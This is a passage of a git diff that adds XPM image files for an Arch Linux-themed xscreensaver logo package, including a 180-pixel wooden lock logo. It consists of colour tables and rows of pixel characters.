%%%%&&&**==---=====---;;;;;;;;>>>>>>>>,,,,,,,,''''''''')))))))))))!!!!!!!!!!!!!*%-,!,*%;)))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;-----=======***&&&$$########$&**===*%%%% ", +" %%%%$&&**==========---;;;;;;;;>>>>>>>>,,,,,,,,'''''''''')))))))))))!!!!!!!!!!!!#%*->-&#%)))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;-----=======***&&&$$&&&#####$$&*===&%%%% ", +" %%%%$&&****===--------;;;;;;;;>>>>>>>>,,,,,,,,'''''''''')))))))))))!!!!!!!!!!!!@@%&*&%@#)))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;----========***&&&%*;>>-*###$&&*===&%%% ", +" %%%%%&&****===**-;>-**;;;;;;;;>>>>>>>>,,,,,,,,'''''''''')))))))))))!!!!!!!!!!!!@+@###@+%))))'''''''''',,,,,,,,>>>>>>>>;;;;;;;;---=========***&&%*-,)'>-&##$&**===%%%% ", +" %%%%&&****==*&->'',-*&;;;;;;;>>>>>>>>,,,,,,,,''''''''''))))))))))))!!!!!!!!!!!=.+++++.>))))'''''''''',,,,,,,,>>>>>>>>;;;;;;;;---=========***&%%*;'!),-&%#$$**===%%%% ", +" %%%%&&****=*%&-,)!';*%&;;;;;;>>>>>>>>>,,,,,,,,'''''''''))))))))))))!!!!!!!!!!!!%.....*)))))'''''''''',,,,,,,,>>>>>>>>;;;;;;;;---========****&@%*-,''>-&%@$&**==*%%%% ", +" %%%%&&****=%%&->'),-*%#-;;;;;>>>>>>>>>,,,,,,,,''''''''')))))))))))))!!!!!!!!!!))>%%&,))))))'''''''''',,,,,,,,>>>>>>>>;;;;;;;;---==---===****#@%&*->;-*%#@$&**==*%%%% ", +" %%%%&&****=@#%*-;>;*&%@*;;;;;>>>>>>>>>,,,,,,,,'''''''''')))))))))))))!!!!!!!!))))))))))))))''''''''',,,,,,,,>>>>>>>>>;;;;;;;;-=------===****#@#%&****%%@+#&**==&%%%$ ", +" %%%%&&*****+@%%****&%#@%;;;;;>>>>>>>>>,,,,,,,,''''''''''))))))))))))))!!!!!!))))))))))))))'''''''''',,,,,,,,>>>>>>>>>;;;;;;;;==------===****#+@#%%%%%#@@+$&**==%%%% ", +" %%%%%&*****+@@%%%%%%#@+%;;;;;;>>>>>>>>,,,,,,,,''''''''''))))))))))))))))!!!)))))))))))))))'''''''''',,,,,,,,>>>>>>>>>;;;;;;;;==-----====****$.+@@####@@++$&**==%%%% ", +" %%%%&****=++@@####@@+.*;;;;;;>>>>>>>>,,,,,,,,''''''''''))))))))))))))))))))))))))))))))))'''''''''',,,,,,,,>>>>>>>>>;;;;;;;;=-----=====***&&+.++@@@+++.@$&**==%%%% ", +" %%%%&***==#.++@@@@++.+;;;;;;;>>>>>>>>,,,,,,,,''''''''''')))))))))))))))))))))))))))))))))'''''''''',,,,,,,,>>>>>>>>;;;;;;;;-------=====***&&#....++...+#$&**=*%%%% ", +" %%%%&***===+...++....*;;;;;;;>>>>>>>>,,,,,,,,,''''''''''))))))))))))))))))))))))))))))))''''''''''',,,,,,,,>>>>>>>>;;;;;;;;-------=====***&&&#+......+#$$***=*%%%% ", +" %%%%&***===*@......+&;;;;;;;;>>>>>>>>>,,,,,,,,''''''''''))))))))))))))))))))))))))))))))'''''''''',,,,,,,,,>>>>>>>>;;;;;;;;-----=======***&&&&$@+++@@##$$***=&%%%% ", +" %%%%%***=====%@+++#=-;;;;;;;;>>>>>>>>>,,,,,,,,''''''''''')))))))))))))))))))))))))))))))'''''''''',,,,,,,,>>>>>>>>>;;;;;;;;-----=======***&&&&$$#######$&***=%%%% ", +" %%%%$***========-=---;;;;;;;;>>>>>>>>>,,,,,,,,'''''''''''))))))))))))))))))))))))))))))''''''''''',,,,,,,,>>>>>>>>>;;;;;;;;---=========***&&&&$$#######$&***=%%%% ", +" %%%%&**=====------==;;;;;;;;>>>>>>>>>,,,,,,,,,''''''''''))))))))))))))))))))))))))))))''''''''''',,,,,,,,>>>>>>>>>;;;;;;;;---=========***&&&$$########$&****%%%% ", +" %%%%&**=====------==;;;;;;;;;>>>>>>>>,,,,,,,,,'''''''''''))))))))))))))))))))))))))))''''''''''',,,,,,,,,>>>>>>>>>;;;;;;;;==------====***&&&$$########$&**=&%%%% ", +" %%%%&**=======-------;;;;;;;;>>>>>>>>,,,,,,,,,'''''''''''))))))))))))))))))))))>>>'))''''''''''',,,,,,,,,>>>>>>>>;;;;;;;;;==------===****&&&$$########$&**=%%%%% ", +" %%%%&**=======-------;;;;;;;;>>>>>>>>>,,,,,,,,''''''''''''))))))))))))))))))),*;,>*-'''''''''''',,,,,,,,>>>>>>>>>;;;;;;;;-------=====****&&&$$########&&***%%%% ", +" %%%%%***========-----;;;;;;;;>>>>>>>>>,,,,,,,,,'''''''''''))))))))))))))))))'%*,!'-%-''''''''''',,,,,,,,>>>>>>>>>;;;;;;;;-------=====****&&&$$#######$&&***%%%% ", +" %%%%***========-----;;;;;;;;>>>>>>>>>,,,,,,,,,'''''''''''')))))))))))))))))*%*;,>*%%'''''''''',,,,,,,,,>>>>>>>>>;;;;;;;;-----=======***&&&&$$#######$&&***%%%% ", +" %%%%***=-========---;;;;;;;;>>>>>>>>>,,,,,,,,,'''''''''''''))))))))))))))))%@%*-*&#@'''''''''',,,,,,,,,>>>>>>>>>;;;;;;;;-----=======***&&&&$$########&&**&%%%% ", +" %%%%&**=-=====----==;;;;;;;;;>>>>>>>>>,,,,,,,,,''''''''''''')))))))))))))))#+@%%%#@+'''''''''',,,,,,,,,>>>>>>>>>;;;;;;;;---=========***&&&&$$#######$&&**%%%% ", +" %%%%&**=====------=--;;;;;;;;>>>>>>>>>,,,,,,,,,''''''''''''')))))))))))))))=.+@@@++#''''''''',,,,,,,,,>>>>>>>>>;;;;;;;;;==--========***&&&&$$#######$&***%%%% ", +" %%%%%**==-====-------;;;;;;;;>>>>>>>>>,,,,,,,,,'''''''''''''')))))))))))))))@.....+,''''''''',,,,,,,,,>>>>>>>>>;;;;;;;;-==------====***&&&$$########&&***%%%% ", +" %%%%**=--====-------;;;;;;;;>>>>>>>>>,,,,,,,,,,''''''''''''''))))))))))))))'%+++#>''''''''',,,,,,,,,,>>>>>>>>>;;;;;;;;-------=-===****&&&$$########&&**&%%%% ", +" %%%%&*=========-----;;;;;;;;;>>>>>>>>>,,,,,,,,,''''''''''''''''))))))))))))''','''''''''''',,,,,,,,,>>>>>>>>>>;;;;;;;;-------=====****&&&$$#######$&&**%%%% ", +" %%%%&*===========--=;;;;;;;;;>>>>>>>>>,,,,,,,,,,''''''''''''''''')))))))))'''''''''''''''',,,,,,,,,,>>>>>>>>>;;;;;;;;;-----=======***&&&&$$#######$&&**%%%% ", +" %%%%%*===-====----==;;;;;;;;;>>>>>>>>>,,,,,,,,,,'''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,>>>>>>>>>;;;;;;;;;=--=========***&&&&$$#######$&&*&%%%% ", +" %%%%**=====---------;;;;;;;;>>>>>>>>>>,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''',,,,,,,,,>>>>>>>>>>;;;;;;;;-==----======***&&&&$$#######&&&*&%%%% ", +" %%%%&*=======-------;;;;;;;;;>>>>>>>>>,,,,,,,,,,'''''''''''''''''''''''''''''''''''''''',,,,,,,,,,>>>>>>>>>>;;;;;;;;---------====***&&&&$$#######&&&*%%%% ", +" %%%%&*=--======-----;;;;;;;;;>>>>>>>>>,,,,,,,,,,,'''''''''''''''''''''''''''''''''''''',,,,,,,,,,,>>>>>>>>>;;;;;;;;;-------=====****&&&$$#######$&&*&%%%% ", +" %%%%%*==-========-==;;;;;;;;;>>>>>>>>>>,,,,,,,,,,'''''''''''''''''''''''''''''''''''''',,,,,,,,,,>>>>>>>>>>;;;;;;;;;-----=======****&&&$$#######$&&*&%%%% ", +" %%%%*==-=====----=--;;;;;;;;>>>>>>>>>>,,,,,,,,,,,'''''''''''''''''''''''''''''''''''',,,,,,,,,,,>>>>>>>>>>;;;;;;;;;==-=========***&&&&$$#######$&&*&%%%% ", +" %%%%&==--==---------;;;;;;;;;>>>>>>>>>>,,,,,,,,,,,''''''''''''''''''''''''''''''''''',,,,,,,,,,,>>>>>>>>>>;;;;;;;;-------======***&&&&$$#######&&&*%%%% ", +" %%%%&==-=====-------;;;;;;;;;>>>>>>>>>>,,,,,,,,,,,'''''''''''''''''''''''''''''''''',,,,,,,,,,,>>>>>>>>>>;;;;;;;;;---------====***&&&&$$######$&&&&%%%% ", +" %%%%*==-========--=;;;;;;;;;>>>>>>>>>>>,,,,,,,,,,,'''''''''''''''''''''''''''''''',,,,,,,,,,,,>>>>>>>>>>;;;;;;;;;-----=-=====****&&&&$$######$&&&&%%%% ", +" %%%%*=-========--=--;;;;;;;;;>>>>>>>>>>,,,,,,,,,,,,'''''''''''''''''''''''''''''',,,,,,,,,,,,>>>>>>>>>>>;;;;;;;;;==-=========****&&&$$#######$&&&%%%% ", +" %%%%&==-;==---------;;;;;;;;;>>>>>>>>>>,,,,,,,,,,,,,''''''''''''''''''''',-;;->'',,,,,,,,,,,,>>>>>>>>>>;;;;;;;;;------=======***&&&&$$#######$&&&%%%% ", +" %%%%==-;==-=-------;;;;;;;;;>>>>>>>>>>>,,,,,,,,,,,,,'''''''''''''''''''>&-');*-,,,,,,,,,,,,>>>>>>>>>>>;;;;;;;;;---------====***&&&&$$######$$&&&%%%% ", +" %%%%*==-========-==;;;;;;;;;;>>>>>>>>>>,,,,,,,,,,,,,,''''''''''''''''''%&-')>*%>,,,,,,,,,,,>>>>>>>>>>;;;;;;;;;;-----=-======***&&&&$$######$&&&%%%% ", +" %%%%&==-;=====------;;;;;;;;;>>>>>>>>>>>,,,,,,,,,,,,,,'''''''''''''''',@%*;>-&#*,,,,,,,,,,>>>>>>>>>>>;;;;;;;;;-==-=========****&&&&$$######$&&&%%%% ", +" %%%%%==-;-=---------;;;;;;;;;>>>>>>>>>>>>,,,,,,,,,,,,,,''''''''''''''';+#%**&%@%,,,,,,,,,,>>>>>>>>>>>;;;;;;;;;-------======****&&&$$#######$&&%%%%% ", +" %%%%*=-;-===-=----=;;;;;;;;;;>>>>>>>>>>>,,,,,,,,,,,,,,,,''''''''''''',+@@###@+&,,,,,,,,,>>>>>>>>>>>;;;;;;;;;;---------====***&&&&$$######$$&&%%%% ", +" %%%%&==;;=======-=--;;;;;;;;;>>>>>>>>>>>>,,,,,,,,,,,,,,,,,''''''''''''#.++++..>,,,,,,,,>>>>>>>>>>>>;;;;;;;;;-==-=-========***&&&&$$######$$&&%%%% ", +" %%%%%-=-;====-------;;;;;;;;;;>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,'''''''',,,@....+-,,,,,,,,,>>>>>>>>>>>;;;;;;;;;;-----========****&&&&$$######$$&&%%%% ", +" %%%%*--;;=--------=;;;;;;;;;;>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,*%#&>,,,,,,,,,>>>>>>>>>>>>;;;;;;;;;;--------=====****&&&$$$######$&&%%%% ", +" %%%%&--;;=======-=--;;;;;;;;;;>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>;;;;;;;;;-==-=-=-=-====***&&&&$$#######$&&%%%% ", +" %%%%--;;-====------;;;;;;;;;;>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>;;;;;;;;;;-----========****&&&&$$######$$&%%%%% ", +" %%%%*-;;;=--------=-;;;;;;;;;;>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>;;;;;;;;;;-------======****&&&&$$######$$&%%%% ", +" %%%%&-=;;=======-=--;;;;;;;;;;>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>;;;;;;;;;;-==-=-=---====****&&&$$$#####$$&$%%%% ", +" %%%%=-;;-====------;;;;;;;;;;;>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>;;;;;;;;;;-----=========***&&&&$$#######$&%%%% ", +" %%%%*-;;;==------==-;;;;;;;;;;>>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>;;;;;;;;;;;=------======****&&&&$$#######$&%%%% ", +" %%%%%-;;;-=====-----;;;;;;;;;;;>>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>;;;;;;;;;;--=-=-=-=-====****&&&&$$######$$%%%%% ", +" %%%%=;;;;===------=-;;;;;;;;;;>>>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>;;;;;;;;;;;------========***&&&&$$$#####$$$%%%% ", +" %%%%&-;;>=-----=-=--;;;;;;;;;;;>>>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>;;;;;;;;;;;--=------=====****&&&&$$#######$$%%%% ", +" %%%%-;;>;=====-----;;;;;;;;;;;>>>>>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>;;;;;;;;;;;-----==-=-====****&&&&$$#######$%%%%% ", +" %%%%*;;>>===-----=--;;;;;;;;;;;>>>>>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>;;;;;;;;;;;-=-----========****&&&$$$######$$%%%% ", +" %%%%%;;>>;-=-==-----;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;----=----=====****&&&&$$######$$%%%%% ", +" %%%%*;;>>====----==-;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>,,,,,,,,,,,,,,>>;>>>>>>>>>>>>>>>>>;;;;;;;;;;;-=-----========****&&&&$$####$##$%%%% ", +" %%%%&;;>>==--=-=----;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>,,,,,>>>;=;>-=>>>>>>>>>>>>>>;;;;;;;;;;;;--=-=---=======****&&&&$$######$%%%%% ", +" %%%%-;>>;====-----=-;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;%-'!,*&>>>>>>>>>>>>;;;;;;;;;;;;-=----==-=-====****&&&&$$$######$%%%% ", +" %%%%&;>>>===---=----;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>%%-,)>*%*>>>>>>>>>>>;;;;;;;;;;;;--=-----=======****&&&&$$###$###%%%%% ", +" %%%%-;>>;-====------;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>@%&-;-&##>>>>>>>>>>;;;;;;;;;;;;-=----==--======***&&&&&$$######$%%%% ", +" %%%%*;>>>===---=----;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>+@%%&%#@@>>>>>>>>>;;;;;;;;;;;;;--=----========****&&&&$$$##$###%%%%% ", +" %%%%->>>>---==---=--;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>@+@@#@@+%>>>>>>>>;;;;;;;;;;;;;-=----==--======****&&&&$$##$$###%%%% ", +" %%%%*>>>>-==---=---=-;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>*..+++..;>>>>>>>;;;;;;;;;;;;;;-------===-====****&&&&&$$##$###$%%%% ", +" %%%%->>>>=--==---=--;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>*+...+->>>>>>>;;;;;;;;;;;;;;------==--======****&&&&$$$#$$###%%%% ", +" %%%%*>>>>===---=---=-;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>;*&*;>>>>>>>;;;;;;;;;;;;;;-=---=--===-====*****&&&&$$##$$##%%%%% ", +" %%%%;>>>>=--=----=---;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;--=---==--======****&&&&$$$#$$###%%%% ", +" %%%%*>>>,;==---------;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;-=---=--===-=====****&&&&$$$$$$##%%%%% ", +" %%%%->>,>=-==------=-;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;-=-----==--======****&&&&&$$#&$$##%%%% ", +" %%%%&>>,,;==-==---=---;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;--=------==-=====****&&&&$$$$&$$#%%%%% ", +" %%%%->>,,-===--=-----;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;-----=--=--======****&&&&&$$$&&$#$%%%% ", +" %%%%&>>,,>==-==-----=-;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;-=-----==-========****&&&&$$$&&$$$%%%%% ", +" %%%%->,,,-==------=-=-;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;---=--=--=========*****&&&&$$$&&$$$%%%% ", +" %%%%%>,,,>=--=--=--=---;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;------=--=--=======****&&&&&$$&&&$$%%%%% ", +" %%%%*>,,,;==-==--------;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;--------=--==-=====*****&&&&$$&&&&$$%%%% ", +" %%%%%;,,,,===--=--------;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;---------==-=======****&&&&&$$&&&$$%%%%% ", +" %%%%&>,,,>=--=----------;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-=-=--=--=-========*****&&&&$$&&&&$%%%%% ", +" %%%%-,,,,;==-=--=-------;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;--;;;;;;;;;;;;;;-=-=--=-==-==-=====*****&&&&&$&&&&&$%%%% ", +" %%%%%>,,,,===-==-=--=----;;;;;;;;;;;;;;;;;;;;;;;;;;;;-*;>-*-;;;;;;;;;--=-=----=-==-=======*****&&&&$$*&&&&%%%%% ", +" %%%%*,,,,>=-==-=----=----;;;;;;;;;;;;;;;;;;;;;;;;;;-%-'!,*%;;;;;;;;--=-=------=--=-=====*****&&&&&$&*&&&%%%%% ", +" %%%%%-,,,';==-=------=----;;;;;;;;;;;;;;;;;;;;;;;;;%%=,)>*%&;;;;;;--=-=------=-==-======*****&&&&$&*&&&%%%%% ", +" %%%%%>,,',-==-=-----------;;;;;;;;;;;;;;;;;;;;;;;;@#&--=&##;;;;;----=------=-=========*****&&&&&&**&&&%%%%% ", +" %%%%*,,'',===-=---------=--;;;;;;;;;;;;;;;;;;;;;;+@%%&%#@@;;;--=--=------=-=-=======*****&&&&&$***&&%%%%% ", +" %%%%%-,,'';=-=-=---------=--;;;;;;;;;;;;;;;;;;;;;@+@@@@@+#;;--=---------=-=-=-======*****&&&&&&**&&&%%%%% ", +" %%%%%>,'''-=-=-=-------=--=--;;;;;;;;;;;;;;;;;;;*..+++.+---=--=-------===-=-======*****&&&&&&***&&%%%%% ", +" %%%%*,''',-=-=-=---=----------;;;;;;;;;;;;;;;;;;*+...@*--=--=-------==-==-======******&&&&&****&%%%%% ", +" %%%%%-'''',-=-=-=---=----=--=----;;;;;;;;;;;;;;;;-*&*--=--=----=---==-==========*****&&&&&*****&%%%% ", +" %%%%%>''''>-=-=-=-=-------=---=-----;;;;;;;;;;-----==--------=---=--==========*****&&&&&*=***&%%%%% ", +" %%%%%,'''';==-=-=-=--=-----=---==--------------==---=--------=-=--==========******&&&&&=***&%%%%% ", +" %%%%*'''''===-=-=----=------=------========------=------=--=-=-===========******&&&&&==***%%%%% ", +" $%%%%-'''''=-=-=-==-=--=-------==------------==-------=--=--=-=-==========*****&&&&&===**%%%%%% ", +" %%%%%;'''',=-=-=--=-----=----------======----------=---=-==-=-==========******&&&&*==**&%%%%% ", +" %%%%%,''')>=-====-==-=---=----------------------=---=--=--=-=-========******&&&&*===**%%%%% ", +" %%%%%,''));=-==-=--=--=----==--------------==----=--==-====-========******&&&&*====*%%%%% ", +" %%%%%*'')));====-==-==---=-----==========-----==--==-==-==-========******&&&&*====*%%%%% ", +" %%%%%*'')));==-==-==-===---=--------------==--===--=-==-=========*******&&&*====*&%%%%% ", +" %%%%%-'))))-==-===-==--===----========----===---=====-=========*******&&&&==-==&%%%%% ", +" %%%%%-'))))-===-===-==---=====------=====---==--==-==========*******&&&&=---=&%%%%% ", +" %%%%%;)))))-====-===-===------====-----=---====-===========*******&&&&===-=*%%%%% ", +" %%%%%>)))))-=====-====--=============**>'>**-============*******&&&&-;===*%%%%% ", +" %%%%%>)))))-======--=====----------*%-,!,=%*===========*******&&&&;;;--*%%%%% ", +" %%%%%,)))))-========--============#%*;,;*%#=========********&&&&;;;--*%%%%%% ", +" %%%%%%,)))));=============-------=@@%***%@@========********&&&*;;;;-*%%%%%% ", +" %%%%%%,)))));====================@+@%%%@+@======*********&&&*>>;;;*%%%%%% ", +" %%%%%%,)))!!>===================%.+@@@+.%=====*********&&&*>>;;;*%%%%%% ", +" %%%%%%>))!!!,===================@.....@====**********&&&=>>>;;*%%%%%% ", +" %%%%%%>))!!!'===================%@+@%===**********&&&&=>>>;;*%%%%%% ", +" $%%%%%-)!!!!)-======================************&&&&;>>>>;*%%%%%% ", +" %%%%%%=)!!!!!;==================**************&&&*>,>>>;&%%%%%% ", +" %%%%%%*)!!!!!,*****=======*****************&&&&=,,,>>;&%%%%%% ", +" %%%%%&)!!!!!)=*************************&&&&&-,,,>>;&%%%%%% ", +" %%%%%%,!!!!!!-**********************&&&&&*>,,,,>-&%%%%%% ", +" %%%%%%;!!!!!!,*******************&&&&&&=,,,,,>=$%%%%% ", +" %%%%%%*)!!!!!!=***************&&&&&&&;'',,,>*%%%%%% ", +" %%%%%%&'!!!!!!,***********&&&&&&&&*,'',,,;&%%%%%% ", +" %%%%%%%;!!!!!!)-****&&&&&&&&&&&&;'''',,=%%%%%%% ", +" %%%%%%*)!!!!!!,*&&&&&&&&&&&&-''''',,*%%%%%%% ", +" %%%%%%%>!!!!!!!;&&&&&&&&&*,)''''';&%%%%%% ", +" %%%%%%%*)!!!!!!)-&&&&&*>))'''',*%%%%%%% ", +" %%%%%%%;!!!!!!!)=&&>))))''';&%%%%%%% ", +" %%%%%%%&,!!!!!!!)))))))',*%%%%%%%% ", +" %%%%%%%%*'!!!!!))))))'=$%%%%%%% ", +" %%%%%%%%*'!!!)))))-$%%%%%%%% ", +" %%%%%%%%$*,!)))-&%%%%%%%% ", +" %%%%%%%%$*>=$$%%%%%%%% ", +" %%%%%%%%%%%%%%%%%% ", +" %%%%%%%%%%%%%%% ", +" %%%%%%%%%%%% ", +" $%%%%%%% ", +" %%%% ", +" ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-lock-wooden.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-lock-wooden.xpm new file mode 100644 index 0000000..747ac10 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-lock-wooden.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_lock_wooden_xpm[] = { +"180 180 17 1", +" c None", +". c #78500F", +"+ c #835407", +"@ c #8E5900", +"# c #AD7723", +"$ c #B4781A", +"% c #BA7C15", +"& c #C2841F", +"* c #CA891A", +"= c #BF8A36", +"- c #D39023", +"; c #CD9A49", +"> c #E19825", +", c #E0A13C", +"' c #DCA959", +") c #E8B766", +"! c #EABC73", +" @@@@@@@@ ", +" @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ", +" @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ", +" @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ", +" @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@#######@@@@@@@@@@@@@@@@@@@ ", +" @@@@@@@@@@@@@@@@@##==;;;;'))!!!!!!!!!!!!!!!))))'';,=&$$$@@@@ ", +" @@@@@@@@ @@@@@@@@##=;;')!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)@@@@ @@@@@@ ", +" @@@@@@@@@@@@@@ @@@@''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))@@@@ @@@@@@@@@@@@@@@ ", +" @@@@@@@@@@@@@@@@@@@ @@@@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ", +" @@@@@@@@@@@@@@@@@@@@@@@@ @@@@!!!!!!!!!!!!!!!!))';',,,,,,,,,,,,,,,,,,,,,''))))))))@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@ ", +" @@@@@@@@@@@@@@@@#='!!#@@@@@@@@ @@@@!!!!!!!))',,,,,>>>***>>>>>>-------->>>>>>>>>>>>,))))@@@@ @@@@=##@@@@@@@@@@@@@@@@@@@@@@@@@ ", +" @@@@@@@@@@@@@@@#;'!!!!!!!'#@@@@@@@ @@@@!!!!,,>>>>>>>>>>>>&&*>>>>>>-------->>>>>>>>>>>>,))))@@@@ @@@@!!!!!)';==#@@@@@@@@@@@@@@@@@@@ ", +" @@@@@@@@@@@@@@#;)!!!!!!!!!!!!!;@@@@@@ @@@@!!!!,>>>>>>>>>>>>>&&*>>>>>>------->>>>>>>>>>>>>,))))@@@@@@@@@!!!!!!!!!!!!!)';=#@@@@@@@@@@@@ @@ ", +" @@@@@@@@@@@@@#='!!!!!!!!!!!!!!!!!!!#@@@@ @@@@!!!!,>>>>>>>>>>>>>&&*>>>>>>------->>>>>>>>>>>>>,))))@@@@@@@@@!!!!!!!!!!!!!!!!!!!!';=#@@@@@@ @@@@@ ", +" @@@@@@@@@@@@@#;!!!!!!!!!!!!!!!)!!!!!!!'@@@@ @@@@!!!!,>>>>>>>>>>>>>&&*>>>>>>------->>>>>>>>>>>>>,))))@@@@@@@@@!!!!!!!!!!!!!!!!!!!!!!!!)'@@@@@ @@@@@@@@ ", +" @@@@@@@@@@@@@='!!!!!!!!!!!!!!),,>>>,)!!!!'@@@@ @@@@!!!!,>>>>>>>>>>>>>&&*>>>>>>------->>>>>>>>>>>>>,))))@@@@@@@@@!!!!)')))!!!!!!!!!!!!!!!!!=@@@@ @@@@@@@@@@ ", +" @@@@@@@@@@@@='!!!!!!!!!!!!!),,>>>>>>>>>)!!!'@@@@ @@@@!!!!,>>>>>>>>>>>>>&&*>>>>>>------->>>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>,,,'')!!!!!!!!!!'@@@@ @@@@@@@@@@@@ ", +" @@@@@@@@@@@@='!!!!!!!!!!!!),,>>>>>>>>>>>>>'!!!'@@@@ @@@@!!!!,>>>>>>>>>>>>>&&*>>>>>>------->>>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-----,''!!!!!!@@@@ @@@@@#@@@@@@@@@ ", +" @@@@@@@@@@@='!!!!!!!!!!!!',->>>>>>>>>>>>>>>>'!!!'@@@@ @@@@!!!!,>>>>>>>>>>>>>&&*>>>>>>------->>>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->,!!!!#@@@ @@@@=!'#@@@@@@@@@ ", +" @@@@@@@@@@#;!!!!!!!!!!!)',--->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@!!!!,>>>>>>>>>>>>-&&*>>>>>--------->>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->>!!!!=@@@@ @@@@;!!!'=@@@@@@@@ ", +" @@@@@@@@@=!!!!!!!!!!!)'------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@!!!!,>>>>>>>>>>>>>&&*>>>>>--------->>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->>)!!!;@@@@ @@@@!!!!!!!=@@@@@@@ ", +" @@@@@@#'!!!!!!!!!!),,>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@!!!),>>>>>>>>>>>>-&&&>>>>>--------->>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->>'!!!!@@@@@@@@#!!!!!!!!!=@@@@@ ", +" @@@@#!!!!!!!!!!!,,>>>>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@)))),>>>>>>>>>>>>-&&&>>>>>--------->>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->>,!!!!@@@@@@@@;!!!!!!!!!!=@@@@ ", +" @@@@;!!!!!!!!),>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ @@@@)))),>>>>>>>>>>>>-&&&>>>>>--------->>>>>>>>>>>>,))))@@@@@@@@@!!!!,>>>>>>>>-------->>>!!!!#@@@@@@@!!!!!)!!!!!;@@@@ ", +" @@@@;!!!!!),>>>>>>>>>>-------->>>>>>>>>>>>>>>>>'!!!'@@@@ 